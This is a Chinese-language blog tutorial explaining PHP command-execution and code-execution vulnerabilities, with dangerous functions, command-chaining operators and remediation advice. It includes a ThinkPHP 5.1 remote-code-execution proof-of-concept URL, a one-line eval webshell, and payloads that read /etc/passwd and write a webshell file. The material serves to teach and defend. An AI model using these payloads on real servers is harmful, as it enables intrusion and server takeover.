zoukankan      html  css  js  c++  java
  • 命令执行与代码执行漏洞原理

    本篇笔记摘自微信“黑白天”,如有侵权,联系删除

    二次修改:找到了一篇更容易弄清楚的文章----美豆

    命令执行定义
    当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,

    当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

    形成原因
    脚本语言优点是简洁,方便,但也伴随着一些问题,如速度慢,无法解除系统底层,如果我们开发的应用需要一些除去web的特殊功能时,就需要调用一些外部程序。带来方便的同时也存在威胁。

    漏洞危害
    继承Web服务程序的权限去执行系统命令或读写文件
    反弹shell
    控制整个网站甚至控制服务器
    进一步内网渗透

    代码执行与命令执行的区别

    命令执行漏洞:相当于在cmd下敲命令,有一点像SSRF的利用方式

    command1&command2 两个命令同时执行
    command1&&command2 只有前面命令执行成功,后面命令才继续执行
    command1;command2 不管前面命令执行成功没有,后面的命令继续执行
    command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
    

     命令执行常用函数

     1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,
    函数原型如下:string system(string command, int&return_var)
    其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
     2. Exec:exec函数可以用来执行一个外部的应用程序
    string exec (string command, array&output, int &return_var)
    其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,
    return_var存放执行命令后的状态值。
     3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,
    当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,
    需要使用passthru函数来替代system与exec函数。
    Passthru函数原型如下:void passthru (string command, int&return_var)
    其中,command是要执行的命令,return_var存放执行命令后的状态值。
     4. Shell_exec:执行shell命令并返回输出的字符串,
    函数原型如下:string shell_exec (string command)
    其中,command是要执行的命令。
    

     实战  TP5.1的命令执行漏洞

    在url添加上poc

    /index.php?s=index/	hinkContainer/invokeFunction&
    function=call_user_func_array&vars[]=system&vars[1][]=dir   最后加命令
    

     

    修复方案

    1.尽量少用执行命令的函数或者直接禁用
    2.参数值尽量使用引号包括
    3.在使用动态函数之前,确保使用的函数是指定的函数之一
    4.在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
    5.能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
    6.对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
    7.参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义
    而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。
    

     代码执行漏洞

    应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。
    很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。

    代码执行相关函数:
    PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)

    Javascript: eval

    Vbscript:Execute、Eval

    Python: exec

    代码执行漏洞的利用:

    1、一句话木马

    ${@eval($_POST[1])}

    2、获取当前工作路径

    ${exit(print(getcwd()))}

    使用菜刀

    3、读文件

    ${exit(var_dump(file_get_contents($_POST[f])))}

    f=/etc/passwd

    使用post提交数值 f=/etc/passwd

    4、写webshell

    ${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}

    f=1.php&d=1111111

    同样使用post

    代码执行漏洞修复方案:

        对于eval()函数一定要保证用户不能轻易接触eval参数或者用正则严格判断输入的数据格式。

        对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes

        对于preg_replace放弃使用e修饰符.如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。

    作者:求知鱼

    -------------------------------------------

    个性签名:你有一个苹果,我有一个苹果,我们交换一下,一人还是只有一个苹果;你有一种思想,我有一种思想,我们交换一下,一个人就有两种思想。

    如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!

    独学而无友,则孤陋而寡闻,开源、分享、白嫖!

  • 相关阅读:
    【转】CentOS7安装iptables防火墙
    CentOS7使用firewalld打开关闭防火墙与端口
    CentOS7永久更改主机名
    CentOS7下安装GUI图形界面
    sql server2008 r2 密钥
    Response.Flush和Response.BufferOutput
    Asp.net使用JQuery实现评论的无刷新分页及分段延迟加载效果
    总结一下使用Emgucv的经验和经历
    c# 鼠标拖动缩放图片
    c# winfrom 在panel上绘制矩形
  • 原文地址:https://www.cnblogs.com/Qiuzhiyu/p/12533052.html
Copyright © 2011-2022 走看看